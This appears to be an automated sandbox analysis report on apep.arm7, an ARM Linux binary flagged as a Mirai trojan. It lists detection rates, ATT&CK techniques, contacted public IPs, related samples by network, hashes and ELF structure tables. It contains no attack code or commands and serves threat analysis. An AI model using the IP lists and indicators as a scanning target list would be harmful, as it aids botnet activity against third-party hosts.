Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	3 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	Remote System Discovery	SSH	Keylogging	Data Transfer Size Limits	2 Ingress Tool Transfer	Manipulate Device Communication		Manipulate App Store Rankings or Ratings

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Source	Detection	Scanner	Label	Link
apep.arm7	48%	Virustotal		Browse
apep.arm7	51%	ReversingLabs	Linux.Trojan.Mirai

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
92.71.76.234	unknown	Netherlands	286	KPNNL	false
181.213.69.198	unknown	Brazil	28573	CLAROSABR	false
95.24.169.233	unknown	Russian Federation	8402	CORBINA-ASOJSCVimpelcomRU	false
160.214.82.107	unknown	Spain	3352	TELEFONICA_DE_ESPANAES	false
154.241.231.28	unknown	Algeria	36947	ALGTEL-ASDZ	false
160.79.21.190	unknown	United States	24867	ADAPT-ASGB	false
92.94.143.1	unknown	France	15557	LDCOMNETFR	false
41.196.116.142	unknown	Egypt	24863	LINKdotNET-ASEG	false
95.51.134.83	unknown	Poland	5617	TPNETPL	false
160.20.5.23	unknown	unknown	45194	SIPL-ASSysconInfowayPvtLtdIN	false
94.52.101.2	unknown	Romania	48161	NG-ASSosBucuresti-Ploiestinr42-44RO	false
156.52.68.252	unknown	Norway	29695	ALTIBOX_ASNorwayNO	false
95.217.66.168	unknown	Germany	24940	HETZNER-ASDE	false
31.36.92.80	unknown	France	5410	BOUYGTEL-ISPFR	false
190.29.50.159	unknown	Colombia	13489	EPMTelecomunicacionesSAESPCO	false
160.94.188.253	unknown	United States	217	UMN-SYSTEMUS	false
37.189.119.21	unknown	Portugal	3243	MEO-RESIDENCIALPT	false
181.31.213.17	unknown	Argentina	10318	TelecomArgentinaSAAR	false
222.191.185.196	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
122.41.44.108	unknown	Korea Republic of	17858	POWERVIS-AS-KRLGPOWERCOMMKR	false
181.177.244.161	unknown	Peru	27843	OPTICALTECHNOLOGIESSACPE	false
190.156.168.110	unknown	Colombia	10620	TelmexColombiaSACO	false
222.147.153.239	unknown	Japan	4713	OCNNTTCommunicationsCorporationJP	false
138.196.253.33	unknown	United States	21727	HAMLINE-EDUUS	false
156.71.93.246	unknown	United States	297	AS297US	false
190.165.24.35	unknown	Colombia	13489	EPMTelecomunicacionesSAESPCO	false
197.120.220.105	unknown	Egypt	36992	ETISALAT-MISREG	false
45.18.240.34	unknown	United States	7018	ATT-INTERNET4US	false
160.20.5.39	unknown	unknown	45194	SIPL-ASSysconInfowayPvtLtdIN	false
41.87.198.33	unknown	South Africa	37315	CipherWaveZA	false
156.204.25.235	unknown	Egypt	8452	TE-ASTE-ASEG	false
160.181.3.110	unknown	South Africa	36903	MT-MPLSMA	false
122.41.44.132	unknown	Korea Republic of	17858	POWERVIS-AS-KRLGPOWERCOMMKR	false
41.57.232.76	unknown	Ghana	37103	BUSYINTERNETGH	false
222.147.153.230	unknown	Japan	4713	OCNNTTCommunicationsCorporationJP	false
196.114.210.155	unknown	Morocco	36925	ASMediMA	false
95.215.48.61	unknown	Ukraine	48882	OPTIMA-SHID-ASUA	false
31.121.22.162	unknown	United Kingdom	2856	BT-UK-ASBTnetUKRegionalnetworkGB	false
190.116.54.144	unknown	Peru	12252	AmericaMovilPeruSACPE	false
186.87.128.95	unknown	Colombia	10620	TelmexColombiaSACO	false
181.170.108.145	unknown	Argentina	10318	TelecomArgentinaSAAR	false
45.153.14.136	unknown	Russian Federation	208221	ORIONNET-BRKRU	false
122.155.121.46	unknown	Thailand	9931	CAT-APTheCommunicationAuthoityofThailandCATTH	false
138.133.158.89	unknown	United States	3269	ASN-IBSNAZIT	false
186.192.242.233	unknown	Brazil	53138	ConectlanInternetBR	false
156.68.4.40	unknown	United States	297	AS297US	false
122.80.176.43	unknown	China	45069	CNNIC-CTTSDNET-APchinatietongShandongnetCN	false
160.225.206.82	unknown	Angola	11259	ANGOLATELECOMAO	false
160.21.176.204	unknown	Japan	45194	SIPL-ASSysconInfowayPvtLtdIN	false
160.55.104.2	unknown	Germany	12291	DPAG-ASDeutschePostAGDE	false
154.142.194.101	unknown	Egypt	37069	MOBINILEG	false
122.155.121.51	unknown	Thailand	9931	CAT-APTheCommunicationAuthoityofThailandCATTH	false
107.9.215.206	unknown	United States	10796	TWC-10796-MIDWESTUS	false
154.42.81.26	unknown	United States	174	COGENT-174US	false
92.48.163.46	unknown	Belgium	5432	PROXIMUS-ISP-ASBE	false
94.175.48.245	unknown	United Kingdom	5089	NTLGB	false
121.243.246.221	unknown	India	17908	TCISLTataCommunicationsIN	false
222.43.247.22	unknown	China	45069	CNNIC-CTTSDNET-APchinatietongShandongnetCN	false
160.131.108.104	unknown	United States	8103	STATE-OF-FLAUS	false
102.208.250.65	unknown	unknown	36926	CKL1-ASNKE	false
160.212.51.73	unknown	United States	13333	CCI-PA-AS-1US	false
197.86.54.165	unknown	South Africa	10474	OPTINETZA	false
122.66.150.89	unknown	China	9394	CTTNETChinaTieTongTelecommunicationsCorporationCN	false
154.247.55.193	unknown	Algeria	36947	ALGTEL-ASDZ	false
95.36.120.100	unknown	Netherlands	15670	BBNED-AS1NL	false
138.119.120.88	unknown	Canada	611	NECN-1-611CA	false
122.36.44.62	unknown	Korea Republic of	17858	POWERVIS-AS-KRLGPOWERCOMMKR	false
154.82.151.126	unknown	Seychelles	32708	ROOTNETWORKSUS	false
196.9.24.73	unknown	South Africa	3067	DENINF-IPLANZA	false
94.60.211.165	unknown	Portugal	12353	VODAFONE-PTVodafonePortugalPT	false
156.67.35.51	unknown	United Kingdom	48101	CALLFLOW-ASCallFlowSolutionsLtdGB	false
121.239.59.36	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
121.66.15.57	unknown	Korea Republic of	3786	LGDACOMLGDACOMCorporationKR	false
197.86.54.162	unknown	South Africa	10474	OPTINETZA	false
154.59.209.11	unknown	United States	201196	BERMOND-ASNL	false
92.174.233.2	unknown	France	3215	FranceTelecom-OrangeFR	false
222.212.196.108	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
160.212.192.47	unknown	United States	13333	CCI-PA-AS-1US	false
102.39.2.63	unknown	South Africa	11845	Vox-TelecomZA	false
138.56.136.61	unknown	United States	2611	BELNETBE	false
95.153.235.127	unknown	Russian Federation	29497	KUBANGSMRU	false
95.205.105.94	unknown	Sweden	3301	TELIANET-SWEDENTeliaCompanySE	false
190.231.182.176	unknown	Argentina	7303	TelecomArgentinaSAAR	false
37.40.191.119	unknown	Oman	28885	OMANTEL-NAP-ASOmanTelNAPOM	false
196.44.194.185	unknown	South Africa	10474	OPTINETZA	false
102.164.123.126	unknown	Ghana	328308	Azurde-Jewelry-ASEG	false
160.28.188.211	unknown	Japan	2907	SINET-ASResearchOrganizationofInformationandSystemsN	false
190.111.223.220	unknown	Argentina	11014	CPSAR	false
122.232.150.141	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
95.85.184.224	unknown	Serbia	41897	SAT-TRAKT-ASSerbiaRS	false
156.158.248.145	unknown	Tanzania United Republic of	37133	airtel-tz-asTZ	false
94.85.243.71	unknown	Italy	3269	ASN-IBSNAZIT	false
154.71.84.124	unknown	unknown	36974	AFNET-ASCI	false
154.82.151.103	unknown	Seychelles	32708	ROOTNETWORKSUS	false
102.253.54.213	unknown	South Africa	5713	SAIX-NETZA	false
107.138.229.177	unknown	United States	7018	ATT-INTERNET4US	false
121.134.167.10	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
160.14.239.147	unknown	Japan	2907	SINET-ASResearchOrganizationofInformationandSystemsN	false
121.127.142.16	unknown	Korea Republic of	9756	CHEONANVITSSEN-AS-KRTbroadChungbuBroadcastingCoKR	false
196.145.176.45	unknown	Egypt	36935	Vodafone-EG	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link
31.36.92.80	J4C5IXCvD9	Get hash	malicious	Browse
181.213.69.198	bPAMfuy9oa	Get hash	malicious	Browse
160.94.188.253	fajkHDqLJS	Get hash	malicious	Browse
41.196.116.142	FVz9CuT04e	Get hash	malicious	Browse
95.51.134.83	UMB64U76k9	Get hash	malicious	Browse
	b6GJG5t0kg	Get hash	malicious	Browse
	4QpvoX8qYS	Get hash	malicious	Browse
156.52.68.252	zASvtYTpBr	Get hash	malicious	Browse
95.217.66.168	AVnp1xwhT4	Get hash	malicious	Browse
95.24.169.233	9i3dQ7xdtO	Get hash	malicious	Browse
95.24.169.233	Tsunami.x86	Get hash	malicious	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
KPNNL	XUj78fC1wm	Get hash	malicious	Browse	92.71.76.211
	JuHhSTMOBq	Get hash	malicious	Browse	92.71.76.218
	file1	Get hash	malicious	Browse	62.132.193.122
	23JFlt90aw	Get hash	malicious	Browse	62.132.193.100
	Mw05XW2H53	Get hash	malicious	Browse	62.132.169.37
	IKjPs8JsAN	Get hash	malicious	Browse	62.132.39.137
	dx86	Get hash	malicious	Browse	92.71.76.242
	QFC7hISXda	Get hash	malicious	Browse	92.71.209.118
	TPbt74lx6J	Get hash	malicious	Browse	62.132.39.133
	C2JaE3zxFB	Get hash	malicious	Browse	62.41.109.9
	Gfnrw0XPWA	Get hash	malicious	Browse	62.132.39.114
	l6RBb7Hfo8	Get hash	malicious	Browse	62.132.39.134
	y12n2LSmXR	Get hash	malicious	Browse	62.132.169.32
	Tsunami.arm	Get hash	malicious	Browse	62.132.39.160
	Tsunami.mips	Get hash	malicious	Browse	62.41.109.6
	Tsunami.mpsl	Get hash	malicious	Browse	62.132.193.114
	Tsunami.ppc	Get hash	malicious	Browse	62.132.39.154
	UnHAnaAW.m68k	Get hash	malicious	Browse	62.132.169.38
	UnHAnaAW.sh4	Get hash	malicious	Browse	62.132.193.105
	INfD2KhVpf	Get hash	malicious	Browse	62.132.193.109
CLAROSABR	apep.x86	Get hash	malicious	Browse	187.255.97.233
	apep.arm	Get hash	malicious	Browse	186.221.202.7
	Zbj30QzYXw	Get hash	malicious	Browse	186.223.112.128
	n1QctxXsbN	Get hash	malicious	Browse	186.204.213.199
	N698PtJ97O	Get hash	malicious	Browse	181.222.227.136
	hSVdBsYfVZ	Get hash	malicious	Browse	181.222.227.128
	apep.arm	Get hash	malicious	Browse	181.222.227.140
	2QMYcuMjVd	Get hash	malicious	Browse	200.191.29.207
	XE7sRnwCiM	Get hash	malicious	Browse	200.228.187.86
	2BysNwGAJV	Get hash	malicious	Browse	200.250.209.210
	file1	Get hash	malicious	Browse	200.183.123.143
	AzPnARFc9g	Get hash	malicious	Browse	179.158.111.84
	x86	Get hash	malicious	Browse	189.93.254.145
	vASS2dVeyt	Get hash	malicious	Browse	177.183.21.102
	MUy6YdtzaB	Get hash	malicious	Browse	177.235.51.5
	yP3DHwa4lC.dll	Get hash	malicious	Browse	187.68.205.23
	911.x86	Get hash	malicious	Browse	186.204.213.185
	Y0JBjnXSxl.dll	Get hash	malicious	Browse	200.213.166.29
	dG6x7IXDwU	Get hash	malicious	Browse	201.82.179.192
	x86_64	Get hash	malicious	Browse	189.93.206.245
CORBINA-ASOJSCVimpelcomRU	91KfFB6sAm	Get hash	malicious	Browse	95.29.14.173
	igBoEOxQat	Get hash	malicious	Browse	37.144.25.223
	e8G1cXYi2d	Get hash	malicious	Browse	37.144.25.218
	zySfDhTvY5	Get hash	malicious	Browse	95.29.14.167
	9i3dQ7xdtO	Get hash	malicious	Browse	95.24.169.233
	BdsJPbiWyb	Get hash	malicious	Browse	95.28.105.102
	O9UqUBn6mq	Get hash	malicious	Browse	85.21.46.85
	dx86	Get hash	malicious	Browse	128.72.78.91
	arm7	Get hash	malicious	Browse	2.94.165.87
	CZ20sNTjue	Get hash	malicious	Browse	37.145.112.184
	7S3litxw1w	Get hash	malicious	Browse	78.107.49.73
	mips	Get hash	malicious	Browse	95.29.14.134
	tf7Nj2pkA6	Get hash	malicious	Browse	89.178.168.237
	sora.arm7	Get hash	malicious	Browse	2.92.140.60
	23JFlt90aw	Get hash	malicious	Browse	85.21.71.29
	qBi49kDpUN	Get hash	malicious	Browse	85.21.177.241
	Mw05XW2H53	Get hash	malicious	Browse	95.28.117.39
	IKjPs8JsAN	Get hash	malicious	Browse	85.21.46.78
	ebdNlZq4ZD	Get hash	malicious	Browse	85.21.46.92
	Ft2E9Jx4iN	Get hash	malicious	Browse	95.24.169.245

File type:	ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, with debug_info, not stripped
Entropy (8bit):	6.081376360511268
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	apep.arm7
File size:	164102
MD5:	76d1af8a4d08bc4747c5e0a4a1a3cdb9
SHA1:	46045bdfc935e8fc8c027f2f0c046895ebba75ee
SHA256:	bc323d487ab3b5b93fdebeead10c867763d4aebc15ef82390649e5c4572c20dc
SHA512:	806d2929063d791388c0182c453992162d475b4977aabd1d6e8dac3baae880a6a3c5a4f3ae36e5244075f706e1fc0d62e8788cdfdb7abc72d30e06f535de28aa
SSDEEP:	3072:9EHw86Ml5D6kbLrbU++CaLxrsVKTJ0ArMC/c4uPRcM/9Qz8:9EHw8ll5nnUbCaLxrsVKF0cE4uPqM/95
File Content Preview:	.ELF..............(.........4...@.......4. ...(........p............................................................................\|...\5..........................................Q.td..................................-...L..................@-.,@...0....S

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	ARM
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x8194
Flags:	0x4000002
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	5
Section Header Offset:	130880
Section Header Size:	40
Number of Section Headers:	29
Header String Table Index:	26

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Link	Info	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0	0	0
.init	PROGBITS	0x80d4	0xd4	0x10	0x0	0x6	AX	0	0	4
.text	PROGBITS	0x80f0	0xf0	0x16830	0x0	0x6	AX	0	0	16
.fini	PROGBITS	0x1e920	0x16920	0x10	0x0	0x6	AX	0	0	4
.rodata	PROGBITS	0x1e930	0x16930	0x2938	0x0	0x2	A	0	0	8
.ARM.extab	PROGBITS	0x21268	0x19268	0x18	0x0	0x2	A	0	0	4
.ARM.exidx	ARM_EXIDX	0x21280	0x19280	0x118	0x0	0x82	AL	2	0	4
.eh_frame	PROGBITS	0x29398	0x19398	0x4	0x0	0x3	WA	0	0	4
.tbss	NOBITS	0x2939c	0x1939c	0x8	0x0	0x403	WAT	0	0	4
.init_array	INIT_ARRAY	0x2939c	0x1939c	0x4	0x0	0x3	WA	0	0	4
.fini_array	FINI_ARRAY	0x293a0	0x193a0	0x4	0x0	0x3	WA	0	0	4
.jcr	PROGBITS	0x293a4	0x193a4	0x4	0x0	0x3	WA	0	0	4
.got	PROGBITS	0x293a8	0x193a8	0xb0	0x4	0x3	WA	0	0	4
.data	PROGBITS	0x29458	0x19458	0x2bc	0x0	0x3	WA	0	0	4
.bss	NOBITS	0x29714	0x19714	0x31e0	0x0	0x3	WA	0	0	4
.comment	PROGBITS	0x0	0x19714	0xb9e	0x0	0x0		0	0	1
.debug_aranges	PROGBITS	0x0	0x1a2b8	0x140	0x0	0x0		0	0	8
.debug_pubnames	PROGBITS	0x0	0x1a3f8	0x213	0x0	0x0		0	0	1
.debug_info	PROGBITS	0x0	0x1a60b	0x2043	0x0	0x0		0	0	1
.debug_abbrev	PROGBITS	0x0	0x1c64e	0x6e2	0x0	0x0		0	0	1
.debug_line	PROGBITS	0x0	0x1cd30	0xe76	0x0	0x0		0	0	1
.debug_frame	PROGBITS	0x0	0x1dba8	0x2b8	0x0	0x0		0	0	4
.debug_str	PROGBITS	0x0	0x1de60	0x8ca	0x1	0x30	MS	0	0	1
.debug_loc	PROGBITS	0x0	0x1e72a	0x118f	0x0	0x0		0	0	1
.debug_ranges	PROGBITS	0x0	0x1f8b9	0x558	0x0	0x0		0	0	1
.ARM.attributes	ARM_ATTRIBUTES	0x0	0x1fe11	0x16	0x0	0x0		0	0	1
.shstrtab	STRTAB	0x0	0x1fe27	0x117	0x0	0x0		0	0	1
.symtab	SYMTAB	0x0	0x203c8	0x5300	0x10	0x0		28	762	4
.strtab	STRTAB	0x0	0x256c8	0x2a3e	0x0	0x0		0	0	1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
EXIDX	0x19280	0x21280	0x21280	0x118	0x118	1.8843	0x4	R	0x4	.ARM.exidx
LOAD	0x0	0x8000	0x8000	0x19398	0x19398	3.3864	0x5	R E	0x8000	.init .text .fini .rodata .ARM.extab .ARM.exidx
LOAD	0x19398	0x29398	0x29398	0x37c	0x355c	2.1854	0x6	RW	0x8000	.eh_frame .init_array .fini_array .jcr .got .data .bss
TLS	0x1939c	0x2939c	0x2939c	0x0	0x8	0.0000	0x4	R	0x4
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Symbols

Name	Section Name	Value	Size	Symbol Type	Symbol Bind	Symbol Visibility	Ndx
	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
	.symtab	0x80d4	0	SECTION	<unknown>	DEFAULT	1
	.symtab	0x80f0	0	SECTION	<unknown>	DEFAULT	2
	.symtab	0x1e920	0	SECTION	<unknown>	DEFAULT	3
	.symtab	0x1e930	0	SECTION	<unknown>	DEFAULT	4
	.symtab	0x21268	0	SECTION	<unknown>	DEFAULT	5
	.symtab	0x21280	0	SECTION	<unknown>	DEFAULT	6
	.symtab	0x29398	0	SECTION	<unknown>	DEFAULT	7
	.symtab	0x2939c	0	SECTION	<unknown>	DEFAULT	8
	.symtab	0x2939c	0	SECTION	<unknown>	DEFAULT	9
	.symtab	0x293a0	0	SECTION	<unknown>	DEFAULT	10
	.symtab	0x293a4	0	SECTION	<unknown>	DEFAULT	11
	.symtab	0x293a8	0	SECTION	<unknown>	DEFAULT	12
	.symtab	0x29458	0	SECTION	<unknown>	DEFAULT	13
	.symtab	0x29714	0	SECTION	<unknown>	DEFAULT	14
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	15
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	16
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	17
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	18
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	19
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	20
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	21
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	22
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	23
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	24
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	25
$a	.symtab	0x80d4	0	NOTYPE	<unknown>	DEFAULT	1
$a	.symtab	0x1e920	0	NOTYPE	<unknown>	DEFAULT	3
$a	.symtab	0x80e0	0	NOTYPE	<unknown>	DEFAULT	1
$a	.symtab	0x1e92c	0	NOTYPE	<unknown>	DEFAULT	3
$a	.symtab	0x80f0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x8134	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x8194	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x81d0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x8510	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x904c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xa078	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xa0d4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xa1d0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xa3ec	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xa458	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xa4c8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xa710	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xadbc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xb1f4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xb9a8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xc094	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xc748	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xc9e8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xca38	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xcadc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xcb04	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xcbd8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xd848	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xde20	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xe100	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xe258	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xe25c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xe280	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xe2a0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xe468	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xe4dc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xe650	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xef58	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xefb4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xf01c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xf0ec	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xf1c8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xf1f0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xf2c8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xf430	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x10070	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x104f4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x10ecc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x10f28	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x10ff0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x110c8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x11d90	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x11db8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x11e00	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x11e30	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x11e54	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x11e78	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x11ee4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x12020	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1207c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x12128	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x121b8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x12238	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x122cc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x123c8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x124dc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x12620	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x12634	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x126bc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x126c8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x126d4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1276c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x12860	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x128a0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x128b4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x12994	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x129cc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x12a10	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x12a50	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x12a94	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x12b18	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x12b48	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x12c58	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x12d28	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x12dec	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x12e9c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x12f84	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1302c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1304c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x13080	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x130f4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x13248	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x13294	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x132c4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x13344	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x134a8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x134d8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1361c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x13de8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x13e88	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x13ecc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1407c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x140d0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14640	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14748	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14780	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14840	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14850	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14860	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14900	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14960	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14988	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14a78	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14a9c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14b68	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14c64	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14c7c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14d88	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14dac	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14e28	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14e50	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14e94	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14f08	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14f4c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14f90	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15004	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15048	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15090	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x150d0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15114	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15184	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x151cc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15254	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15298	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15308	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15354	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x153dc	0	NOTYPE	<unknown>	DEFAULT	2
